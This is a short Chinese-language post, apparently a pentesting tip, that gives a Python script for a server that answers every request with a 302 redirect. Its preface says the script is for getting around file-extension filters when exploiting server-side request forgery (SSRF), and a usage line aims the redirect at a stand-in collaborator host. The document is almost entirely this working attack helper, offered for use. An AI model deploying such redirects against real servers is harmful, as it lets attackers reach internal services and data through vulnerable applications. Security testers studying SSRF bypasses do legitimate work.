一个支持302跳转的py脚本

前言：遇到存在后缀名限制的ssrf的时候，可以通过下面的302跳转来实现绕过

# coding=utf-8
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
  print("Usage: {} <port_number> <url>".format(sys.argv[0]))
  sys.exit()

class Redirect(BaseHTTPRequestHandler):
  def do_GET(self):
    self.send_response(302)
    self.send_header('Location', sys.argv[2])
    self.end_headers()
  def send_error(self, code, message=None):
    self.send_response(302)
    self.send_header('Location', sys.argv[2])
    self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

# python3 302redirect.py port "http://mycollaboratorurl/"